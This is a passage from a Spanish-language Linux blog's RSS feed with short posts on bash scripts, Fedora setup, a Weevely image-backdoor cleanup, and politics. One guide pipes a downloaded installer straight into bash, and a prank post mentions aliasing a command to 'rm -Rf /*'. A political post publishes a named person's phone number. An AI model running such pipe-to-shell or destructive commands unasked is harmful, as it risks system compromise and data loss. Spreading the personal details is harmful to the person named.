  &lt;span class="k"&gt;do  &lt;/span&gt;&lt;span class="nv"&gt;proceso&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$programas&lt;/span&gt; |grep -v &lt;span class="se"&gt;\#&lt;/span&gt; | grep &lt;span class="o"&gt;[&lt;/span&gt;0-9&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="nv"&gt;$|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $1}&amp;#39;&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;
  &lt;span class="nv"&gt;ajuste&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$programas&lt;/span&gt; |grep -v &lt;span class="se"&gt;\#&lt;/span&gt; | grep &lt;span class="o"&gt;[&lt;/span&gt;0-9&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="nv"&gt;$|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $2}&amp;#39;&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; -z &lt;span class="s2"&gt;&amp;quot;$proceso&amp;quot;&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt; &lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="k"&gt;    continue&lt;/span&gt;
&lt;span class="k"&gt;  else&lt;/span&gt;
&lt;span class="k"&gt;    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$proceso&lt;/span&gt;
    &lt;span class="k"&gt;for &lt;/span&gt;pids_proceso in &lt;span class="sb"&gt;`&lt;/span&gt;/bin/pidof &lt;span class="nv"&gt;$proceso&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;
      &lt;span class="k"&gt;do &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;    echo $ajuste &amp;gt; /proc/$pids_proceso/oom_adj&amp;quot;&lt;/span&gt;
    &lt;span class="k"&gt;done&lt;/span&gt;
&lt;span class="k"&gt;  fi done&lt;/span&gt; &amp;lt; &lt;span class="nv"&gt;$CONFIGURACION&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;El script es simple, leemos el archivo de configuracion linea por linea
separamos el nombre del proceso del ajuste que le vamos a hacer
guardando cada valor en las variables $proceso y $ajuste. Evaluamos si
la variable $proceso esta vacía, y de ser así seguimos con la próxima
linea, de lo contrario continuamos procesando esa misma linea. Obtenemos
el PID del proceso usando pidof y para cada PID vamos escribir el valor
de $ajuste en su archivo oom_adj dentro de &lt;em&gt;/proc&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Pueden colocar este script en su /etc/rc.local o en un cronjob y
recuerden que si quieren consultar la lista de candidatos y ver como
están sus scrores o saber un poco mas del tema, pueden consultar este
articulo: &lt;a class="reference external" href="http://orvtech.com/oom-killer-y-manipulacion-de-candidatos.html"&gt;El OOM Killer y manipulación de candidatos&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Sat, 28 Jul 2012 05:49:00 -0700</pubDate><guid>tag:orvtech.com,2012-07-28:script-orden-masacres-oom-killer.html</guid><category>BASH</category><category>kernel</category><category>Linux</category><category>Proyecto Fedora</category><category>recursos</category><category>Scripts</category><category>tips</category></item><item><title>Un tren ascii en el terminal cada vez que confundan ls con sl</title><link>http://orvtech.com/tren-ascii-consola-confundan-ls-con-sl.html</link><description>&lt;p&gt;Mas de una vez he intenten ejecutar &lt;tt class="docutils literal"&gt;sl&lt;/tt&gt; cuando intentan ejecutar
&lt;tt class="docutils literal"&gt;ls&lt;/tt&gt; para listar archivos y directorios, es un error que todos
cometemos pero ¿que pasaria si &lt;tt class="docutils literal"&gt;sl&lt;/tt&gt; en realidad fuese un comando?.
Afortunadamente para nuestro entretenimiento hay una aplicación de
nombre &lt;tt class="docutils literal"&gt;sl&lt;/tt&gt; y consiste en un tren ascii que sale en el terminal cada
vez al momento de ejecutar sl. Perfecto para una broma practica,
instalarlo en un servidor que muchas personas usan y esperar a escuchar
los cuentos.&lt;/p&gt;
&lt;p&gt;Aquí les dejo un video que muestra como instalarlo y como se ve al
momento de ejecutarlo.&lt;/p&gt;
&lt;iframe width="700" height="525" src="//www.youtube.com/embed/gNbEDmPzrGI" frameborder="0" allowfullscreen&gt;
&lt;/iframe&gt;&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;En caso de que no puedas ver el video, puedes instalar esta aplicación
ejecutando:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;su - yum install -y sl
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Como ven es inofensivo, o por lo menos menos inofensivo que un ualias a
&lt;tt class="docutils literal"&gt;rm &lt;span class="pre"&gt;-Rf&lt;/span&gt; /*&lt;/tt&gt;, de hecho un compañero de trabajo fue el que me comento
sobre esta broma practica. La aplicación &lt;tt class="docutils literal"&gt;sl&lt;/tt&gt; esta disponible para OSX
a través del manejador de paquetes brew.&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Fri, 20 Jul 2012 22:44:00 -0700</pubDate><guid>tag:orvtech.com,2012-07-20:tren-ascii-consola-confundan-ls-con-sl.html</guid><category>BASH</category><category>Hacks</category><category>Linux</category><category>Proyecto Fedora</category><category>tips</category><category>Videos</category></item><item><title>Instalar Principe de Persia en Fedora Linux</title><link>http://orvtech.com/principe-de-persia-fedora-linux.html</link><description>&lt;p&gt;Uno de los juegos mas clásicos es el de Príncipe de Persia, de hecho fue
uno de los que mas jugué cuando era chamo.&lt;/p&gt;
&lt;p&gt;Hoy encontré como jugarlo de nuevo usando el emulador de DOS DOSBox.
Este emulador esta optimizado para videojuegos que en un principio
fueron diseñados para correr sobre MS-DOS y esto es justo lo que estamos
buscando. Aproveche y les hice un vídeo de menos de 3 minutos que les
explica como instalarlo, aquí se los dejo.&lt;/p&gt;
&lt;iframe width="720" height="540" src="//www.youtube.com/embed/Yl-9y5vLn34" frameborder="0" allowfullscreen&gt;
&lt;/iframe&gt;&lt;p&gt;En caso de que no hayan captado algunos detalles en el vídeo cree un
grupo de secuencias de comandos que les ayudara a dejar corriendo el
juego Prince of Persia en Fedora, en mi caso estoy usando Fedora 17.&lt;/p&gt;
&lt;p&gt;Esta seria la primera secuencia de comandos para dejar Prince of
Persia instalado en nuestro Fedora.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;su -
yum install dosbox -y
&lt;span class="nb"&gt;exit&lt;/span&gt;
mkdir ~/games
firefox http://www.bestoldgames.net/eng/old-games/prince-of-persia.php
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Como ven lo que estamos haciendo es instalando DOSBox, creando un
directorio donde tendremos nuestro juegos y abriendo FireFox en la
pagina para descargar el juego como tal. Una vez en la pagina,
descargamos el juego, lo copiamos a la carpeta ~/games y lo
descomprimimos.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;cp ~/prince*zip ~/games
&lt;span class="nb"&gt;cd&lt;/span&gt; ~/games
unzip ~/prince*zip
rm ~/prince*zip
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ahora vamos a arrancar DOSBox y una vez dentro del emulador vamos a
montar ~/games como si fuese la unidad C y arrancamos el juego.&lt;/p&gt;
&lt;!-- :code-block:: bash

dosbox
mount c /home/usuario/games
cd c
cd Prince
Prince.exe --&gt;
&lt;p&gt;Recuerde remplazar &lt;tt class="docutils literal"&gt;/home/usuario/games&lt;/tt&gt; por la ruta completa a su
directorio home.&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Sat, 14 Jul 2012 02:55:00 -0700</pubDate><guid>tag:orvtech.com,2012-07-14:principe-de-persia-fedora-linux.html</guid><category>Juegos</category><category>Linux</category><category>Proyecto Fedora</category><category>Videos</category></item><item><title>Discriminación política en Venezuela.</title><link>http://orvtech.com/discriminacion-politica-venezuela.html</link><description>&lt;p&gt;En la República Bolivariana de Venezuela o estas con Chavez o te mueres de hambre.&lt;/p&gt;
&lt;p&gt;Desde que inicie este blog jure evitar hablar de política y voy a hacer
lo posible por mantenerlo así pero hoy vi algo que al principio no supe
si reír o llorar, lo cierto fue que me dio pena ajena. Por mucho que
traten de convencernos de que &lt;em&gt;&amp;quot;Venezuela ahora es de todos&amp;quot;&lt;/em&gt;, debes
tener cierta tendencia política para poder conseguir empleo, para
muestra les dejo esta captura de pantalla.&lt;/p&gt;
&lt;div style="text-align:center;"&gt;&lt;p&gt;&lt;a class="reference external" href="http://orvtech.info/2012/07/Screen-Shot-2012-07-12-at-12.18.45-AM.png"&gt;&lt;img alt="Una muestra de la discriminación politica en Venezuela. Tomado de la plataforma colaborativa colabora.softwarelibre.gob.ve" src="http://orvtech.info/2012/07/Screen-Shot-2012-07-12-at-12.18.45-AM.png" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;p&gt;Esto explica el por que no hay gente técnicamente calificada atendiendo
la infraestructura de la nación, la Internet falla, el sistema eléctrico
claramente no esta a la altura de una nación perteneciente a la OPEP y
la producción petrolera ha caído, el sistema de salud esta lo
suficientemente mal para que el actual mandatario se vaya a tratar a
otros países.&lt;/p&gt;
&lt;p&gt;No es solo la inclinación política, esta oferta de trabajo claramente
discrimina por edad y genero. Una oferta como esta en países
desarrollados (donde el sistema judicial si funciona) no duraría mucho
antes de una demanda civil.&lt;/p&gt;
&lt;p&gt;La URL de esta oferta de trabajo es
&lt;a class="reference external" href="http://colabora.softwarelibre.gob.ve/home/oferta-laboral"&gt;http://colabora.softwarelibre.gob.ve/home/oferta-laboral&lt;/a&gt; y se promociona
por Facebook y Twitter como se puede ver en este tweet:&lt;/p&gt;
&lt;blockquote class="twitter-tweet" lang="en"&gt;&lt;p&gt;Se solicita persona con el siguiente perfil &lt;a href="http://t.co/A6kZlBJk"&gt;http://t.co/A6kZlBJk&lt;/a&gt;&lt;/p&gt;&amp;mdash; Alexis Anteliz (@_tauceti) &lt;a href="https://twitter.com/_tauceti/statuses/223072926830833666"&gt;July 11, 2012&lt;/a&gt;&lt;/blockquote&gt;
&lt;script async src="//platform.twitter.com/widgets.js" charset="utf-8"&gt;&lt;/script&gt;&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Esta captura de pantalla es del 3 de agosto del 2014, meses después de la nefasta oferta de trabajo mencionada anteriormente, como ven no ha cambiado en nada, Eduardo José Zambrano Rivero claramente dice que no aceptaran a aquellos que hallan ejercido su derecho a firmar en un referéndum consultivo en un grupo de discusion de Software Libre.&lt;/p&gt;
&lt;img alt="Eduardo José. Zambrano Rivero. Telefono 58 + 0416/9798109" class="align-center" src="http://orvtech.info/2014/08/eduardo-jose-zambrano-sltrujillo.png" style="width: 637.0px;" /&gt;
&lt;p&gt;Si tienen algún comentario para el Sr. Jose Rivero pueden dejárselo saber por las vias de comunicación mencionadas en la captura de pantalla.&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Thu, 12 Jul 2012 00:01:00 -0700</pubDate><guid>tag:orvtech.com,2012-07-12:discriminacion-politica-venezuela.html</guid><category>Venezuela</category></item><item><title>Bajo CISPA tu eres culpable hasta que demuestres lo contrario.</title><link>http://orvtech.com/bajo-cispa-eres-culpable.html</link><description>&lt;p&gt;Muchos pensaron que habíamos ganado la batalla cuando derrotamos &lt;a class="reference external" href="http://orvtech.com/general/no-ley-sopa-hr-3261/"&gt;SOPA&lt;/a&gt;
pero la realidad es que lo hemos perdido todo. Con el pretexto de
proteger la propiedad intelectual, derechos de autor y &amp;quot;economía
creativa&amp;quot; nos han criminalizado a todos sin excepción con la aprobación
de C.I.S.P.A.&lt;/p&gt;
&lt;div style="text-align:center"&gt;&lt;p&gt;&lt;a class="reference external" href="http://orvtech.com/general/bajo-cispa-eres-culpable/"&gt;&lt;img alt="Con CISPA tu tienes que demostrar que eres inocente" src="http://orvtech.info/2012/06/CISPA-head.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;p&gt;El problema va mucho mas allá de poder o no compartir data como este
articulo. Supongamos que bajo CISPA el dominio pablodelospalitos.info se
convierte en un infractor bien sea por que es un nodo que permite a
usuarios compartir contenido que puede o no tener copyright o por que
tienen un modelo de negocio que la RIAA y la MPAA no le gusta (así como
thepiratebay y megaupload respectivamente).&lt;/p&gt;
&lt;p&gt;Sin importar si la nacionalidad y residencia de estas empresas y
fundadores es de un país en el cual esto no es un delito, pongamos de
ejemplo Dinamarca y Nuevazelanda, estos dominios serán considerados
infractores, los empleados y duenhos serán perseguidos y encarcelados
sin un debido proceso y los dominios a los dominios les quitan las
entradas de DNS y bloquean sus IPs en algunos ISPs.&lt;/p&gt;
&lt;div class="section" id="el-pequeno-inconveniente"&gt;
&lt;h2&gt;El pequeño inconveniente&lt;/h2&gt;
&lt;p&gt;El problema a la hora de esforzar CISPA esta en que las IPs
194.71.107.50 y 66.71.182.142 aun son accesibles directamente o mediante
proxies.&lt;/p&gt;
&lt;p&gt;¿Se dan cuenta del problema? Un detalle que no se comenta mucho es que
los grandes de esta industria decidieron definir su contenido como
&amp;quot;material protegido e incopiable&amp;quot; cuando la realidad es que su data se
puede duplicar como cualquier otro tipo de data y no esta protegida.
Esto es lo que hacen los computadores, leen, procesan, modifican y
copian bits, así funcionan!&lt;/p&gt;
&lt;p&gt;Afirmar que su data es &amp;quot;incopiable&amp;quot;, es como decir que venden agua seca
y definan que es ilegal transformarla en agua normal y corriente.&lt;/p&gt;
&lt;p&gt;Este problema y detallito no fueron aprobados por accidente ni por falta
de asesores calificados a la hora de redactar CISPA. Son una oportunidad
para que las empresas de medios audiovisuales puedan interpretar esta
ley a su manera y etiquetarte como culpable sin tener que demostrar que
eres culpable.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="las-consecuencias-de-cispa"&gt;
&lt;h2&gt;Las consecuencias de CISPA&lt;/h2&gt;
&lt;p&gt;En todo país democrático se estipula que &amp;quot;toda persona acusada se
presume inocente hasta que se demuestre con pruebas fehacientes su
culpabilidad&amp;quot;. El debido proceso deja de existir cuando te enfrentas
contra la RIAA o la MPAA y su bufete de abogados que te llevaran a corte
y apelaran tu defensa hasta que a ti se te acabe la plata.&lt;/p&gt;
&lt;/div&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Thu, 14 Jun 2012 09:50:00 -0700</pubDate><guid>tag:orvtech.com,2012-06-14:bajo-cispa-eres-culpable.html</guid><category>Linux</category><category>RIAA</category><category>torrents</category></item><item><title>Fedora con Ruby y PostgreSQL, el Nirvana para developers</title><link>http://orvtech.com/fedora-ruby-postgresql-nirvana.html</link><description>&lt;p&gt;Rafa Pérez comparte con nosotros su receta para preparar un VPS para
empezar a desarrollar y probar Ruby. Su guia esta basada en el entorno
de Fedora 15, usa Ruby Version Manager, Ruby 1.9.3 y PostgreSQL&lt;/p&gt;
&lt;div style="text-align:center;"&gt;&lt;p&gt;&lt;a class="reference external" href="http://orvtech.com/fedora-ruby-postgresql-nirvana.html"&gt;&lt;img alt="Preparar un VPS con Fedora 15 como entorno de desarrollo de Ruby con PostgreSQL, git y RVM" src="http://orvtech.info/2012/06/rafael_perez_ruby_head.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;p&gt;Comencemos con la guia, lo primero es entrar por SSH al servidor y
cambiar la clave del usuario root:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;ssh root@0.0.0.0 passwd
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Lo proximo es crear un usuario con el que accederemos el VPS a diario:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;useradd tu_nuevo_usuario_aqui passwd tu_nuevo_usuario_aqui tu_password_complejo_aqui
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Cambiar el puerto del sshd (si el hosting lo permite) y no permitir logging del root por ssh:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;vim /etc/ssh/sshd_config
Port 2877 PermitRootLogin no
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Donde 2877 es el puerto donde queremos que el servicio de SSH comience a escuchar.&lt;/p&gt;
&lt;p&gt;Revisar las actualizaciones del sistema y de ser necesario instalarlas:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;yum check-update yum update
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;A continuación instalamos mi editor de texto favorito vim:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;yum install vim
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Instalar git:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;yum install git
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Instalar RVM y vemos los paquetes requeridos:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;curl -L get.rvm.io | bash -s stable &lt;span class="nb"&gt;source&lt;/span&gt; ~/.rvm/scripts/rvm rvm requirements
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ahora instalamos los paquetes requeridos por RVM:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;yum install -y gcc-c++ patch readline readline-devel zlib zlib-devel libyaml-devel libffi-devel openssl-devel make bzip2 autoconf automake libtool bison iconv-devel
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Continuamos con la instalación de ruby:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;rvm install 1.9.3
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Instalar postgresql:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;yum install postgresql-contrib.x86_64  postgresql.x86_64 postgresql-server.x86_64
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Iniciar la base de datos:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;service postgresql initdb
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Modificar acceso de usuarios:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;vim /var/lib/pgsql/data/pg_hba.conf
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Cambiar el ident por md5 dejando las opciones default para que
simplemente corra sin acceso remoto en el servidor. Cualquier duda o pregunta pueden consultarla con el autor: &lt;a class="reference external" href="https://twitter.com/_vanhalt"&gt;Rafa Pérez&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Recuerda, si quieres compartir algun articulo, solo envialo en los comentarios de &lt;a class="reference external" href="http://orvtech.com/pages/acerca-de-mi.html"&gt;Contacto&lt;/a&gt;.&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Tue, 05 Jun 2012 23:27:00 -0700</pubDate><guid>tag:orvtech.com,2012-06-05:fedora-ruby-postgresql-nirvana.html</guid><category>git</category><category>Linux</category><category>Proyecto Fedora</category><category>Ruby</category><category>tips</category></item><item><title>Protege tu servidor contra código maligno oculto en imagenes</title><link>http://orvtech.com/protege-servidor-contra-codigo-maligno-oculto-imagenes-weevely.html</link><description>&lt;p&gt;El día de hoy vi un &lt;a class="reference external" href="https://twitter.com/#!/Marydn/status/192379656735952896"&gt;tweet&lt;/a&gt; que me llamo la atención, vinculaba a una
pagina que explica como ocultar código php en una imagen para luego ser
ejecutado como parte de un exploit. El código maligno lo ocultan en la
metadata de la imagen bajo el campo &lt;em&gt;'Comments'&lt;/em&gt; que luego es usado como
parte de una consola web llamada Weevely.&lt;/p&gt;
&lt;p&gt;El articulo va un poco mas profundo explicando que usan la función
&lt;tt class="docutils literal"&gt;passthru()&lt;/tt&gt; para pasar los comandos al servidor con una petición web
y &lt;tt class="docutils literal"&gt;__halt_compiler()&lt;/tt&gt; para evitar que la imagen siga siendo procesada
como un archivo binario.&lt;/p&gt;
&lt;div style="align-text: center;"&gt;&lt;p&gt;&lt;a class="reference external" href="http://orvtech.com/howto/protege-servidor-contra-codigo-maligno-oculto-imagenes-weevely"&gt;&lt;img alt="Aunque no es nada nuevo, recientemente vi que el ocultar código malicioso en imágenes se ha puesto de moda nuevamente, aquí te explico como eliminar código oculto en imágenes de tu servidor." src="http://orvtech.info/2012/04/clean-images-exiff_head.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;div class="section" id="eliminar-el-backdoor-weevely-oculto-en-imagenes-de-tu-servidor"&gt;
&lt;h2&gt;Eliminar el backdoor Weevely oculto en imágenes de tu servidor.&lt;/h2&gt;
&lt;p&gt;Si tienes un blog o eres webmaster de una pagina web que acepta que los
usuarios suban imágenes, puedes ejecutar este script modificandolo a tu
conveniencia.&lt;/p&gt;
&lt;p&gt;&lt;tt class="docutils literal"&gt;&lt;span class="pre"&gt;#!/bin/bash&lt;/span&gt; &lt;span class="pre"&gt;ORVTECH_DIRS=&amp;quot;/var/www/htdocs/wordpress/wp-content/uploads/20*&amp;quot;&lt;/span&gt; # for ARCHIVO_JPG in `find $ORVTECH_DIRS &lt;span class="pre"&gt;-type&lt;/span&gt; f| grep &lt;span class="pre"&gt;-i&lt;/span&gt; jpg$ `;&amp;nbsp;&amp;nbsp; do&amp;nbsp;&amp;nbsp; convert &lt;span class="pre"&gt;-strip&lt;/span&gt; $ARCHIVO_JPG $ARCHIVO_JPG done&lt;/tt&gt;&lt;/p&gt;
&lt;p&gt;Como ven, el script recorre todas las subdirectorios de $ORVTECH_DIRS
en busca de imágenes jpg, luego las pasa por imagemagick para quitarle
cualquier metadata innecesaria, incluyendo los comentarios. De esta
forma terminas con imágenes sin código oculto y un tanto mas ligeras.&lt;/p&gt;
&lt;/div&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Tue, 17 Apr 2012 16:36:00 -0700</pubDate><guid>tag:orvtech.com,2012-04-17:protege-servidor-contra-codigo-maligno-oculto-imagenes-weevely.html</guid><category>Hacks</category><category>ImageMagick</category><category>Scripts</category><category>tips</category></item><item><title>Ver información básica de una cuenta de Twitter usando BASH</title><link>http://orvtech.com/cuando-fue-creada-cuenta-twitter.html</link><description>&lt;p&gt;Tengo ya unos días tratando de recordar y averiguar cuando fue que
empecé a usar Twitter y solo consigo paginas que no me inspiran mucha
confianza, que se ofrecen para darte esta información.&lt;/p&gt;
&lt;p&gt;Revisando la documentación de la API de esta red social, conseguí como
hacerlo aunque no esta explícitamente documentado. Esta información del
usuario se envía cada vez que uno hace una petición por su timeline
usando grep, awk, tr y curl fácilmente se puede ver cuando se creó la
cuenta.&lt;/p&gt;
&lt;div style="text-align:center;"&gt;&lt;p&gt;&lt;a class="reference external" href="http://orvtech.com/cuando-fue-creada-cuenta-twitter.html"&gt;&lt;img alt="cuando fue creada una cuenta en twitter" src="http://orvtech.info/2012/03/twitter-creado-head.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;p&gt;Este script muestra cuando fue creada la cuenta además de cuantas personas sigue, cuantos lo siguen y cuantos twits ha publicado:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
#!/bin/bash
curl -s &amp;quot;https://api.twitter.com/1/statuses/user_timeline.json?include_entities=true&amp;amp;include_rts=true&amp;amp;screen_name=$1&amp;amp;count=0&amp;quot; | tr ',' '\n' | grep  \&amp;quot;created_at\&amp;quot; | tail -n 1
curl -s &amp;quot;https://api.twitter.com/1/statuses/user_timeline.json?include_entities=true&amp;amp;include_rts=true&amp;amp;screen_name=$1&amp;amp;count=0&amp;quot; | tr ',' '\n' | grep -m2 -E 'friends_count|statuses_count|followers_count'
&lt;/pre&gt;
&lt;p&gt;Como ven el script acepta un parámetro que para que funcione correctamente debe de ser el &lt;em&gt;handle&lt;/em&gt; que en mi caso es orvtech, para ver mi información pueden ejecutar:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
./twitter-creado.sh orvtech &amp;quot;created_at&amp;quot;:&amp;quot;Thu Apr 12 21:35:06 +0000 2007&amp;quot; &amp;quot;friends_count&amp;quot;:236 &amp;quot;statuses_count&amp;quot;:5065 &amp;quot;followers_count&amp;quot;:251
&lt;/pre&gt;
&lt;p&gt;Estoy seguro que se puede optimizar incluso remplazar esas dos peticiones web por una sola y remplazar el &lt;em&gt;tr&lt;/em&gt;, &lt;em&gt;grep&lt;/em&gt; y el &lt;em&gt;tail&lt;/em&gt; con
una sola instrucción de &lt;em&gt;awk&lt;/em&gt; pero solo quería demostrar como hacerlo.
Si quieren aprender mas del API de twitter pueden visitar &lt;a class="reference external" href="https://dev.twitter.com/docs"&gt;https://dev.twitter.com/docs&lt;/a&gt;.&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Sat, 03 Mar 2012 10:59:00 -0800</pubDate><guid>tag:orvtech.com,2012-03-03:cuando-fue-creada-cuenta-twitter.html</guid><category>BASH</category><category>Linux</category><category>Proyecto Fedora</category><category>Scripts</category><category>tips</category><category>Twitter</category></item><item><title>Enviar procesos al fondo desde un loop</title><link>http://orvtech.com/enviar-procesos-fondo-desde-loop.html</link><description>&lt;p&gt;Hoy resolvi como enviar procesos al fondo dentro de un loop en BASH, tal vez exista una forma mas limpia de hacerlo pero esta me funciono. Este será un tip mas para esa serie de post cortos pero que vale la pena agregar a los bookmarks.&lt;/p&gt;
&lt;a class="reference external image-reference" href="http://orvtech.com/enviar-procesos-fondo-desde-loop.html"&gt;&lt;img alt="Enviar procesos al fondo desde un loop en bash" class="align-center" src="http://orvtech.info/2012/02/matrix-al-fondo-head.jpg" style="width: 675.4px;" /&gt;&lt;/a&gt;
&lt;p&gt;El tip como tal realmente simple, solo tienes que incluir lo que quieras enviar al fondo dentro de llaves &lt;em&gt;{}&lt;/em&gt;. Lo que quieras enviar al fondo debe lucir muy parecido a esto:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="o"&gt;{&lt;/span&gt; ping orvtech.com &amp;amp; &lt;span class="o"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Veamos este otro ejemplo.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span class="k"&gt;for &lt;/span&gt;i in &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$correos&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt;
  &lt;span class="k"&gt;do &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;trabajando en usuario $i&amp;quot;&lt;/span&gt;
  &lt;span class="o"&gt;{&lt;/span&gt; crawler.sh -H &lt;span class="nv"&gt;$i&lt;/span&gt; run &lt;span class="s2"&gt;&amp;quot;grep $1 crawler.tmp&amp;quot;&lt;/span&gt; | awk -F&lt;span class="se"&gt;\&amp;quot;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;{print $2}&amp;#39;&lt;/span&gt; | awk -F&lt;span class="se"&gt;\,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;{print $1}&amp;#39;&lt;/span&gt; &amp;gt; usuarios.txt &amp;amp; &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;done&lt;/span&gt;
&lt;span class="nb"&gt;jobs&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;div class="line-block"&gt;
&lt;div class="line"&gt;&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Con el commando &lt;em&gt;jobs&lt;/em&gt; puedes monitorear los procesos que se han enviado al fondo.&lt;/p&gt;
</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">orvtech</dc:creator><pubDate>Wed, 08 Feb 2012 15:53:00 -0800</pubDate><guid>tag:orvtech.com,2012-02-08:enviar-procesos-fondo-desde-loop.html</guid><category>BASH</category><category>Linux</category><category>OSX</category><category>Scripts</category><category>tips</category></item><item><title>Sigue los twits favoritos de tus followers.</title><link>http://orvtech.com/revisa-twits-favoritos-followers.html</link><description>&lt;p&gt;El dia de hoy ley la conversación entre un par de conocidos en twitter,
planteaban que seria genial poder ver los twits favoritos de un Cheff
como para hacerse una lista gourmet.&lt;/p&gt;
&lt;div style="text-align:center;"&gt;&lt;p&gt;&lt;a class="reference external" href="http://orvtech.com/general/revisa-twits-favoritos-followers/"&gt;&lt;img alt="Sigue los twits favoritos de quien quieras" src="http://orvtech.info/2012/01/listas-rss-favoritos.jpg" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;p&gt;La logica me decía que esto ya debía de existir aunque no pude encontrar
como hacerlo directo desde la pagina web, logre conseguir como obtener
un feed de estos:&lt;/p&gt;
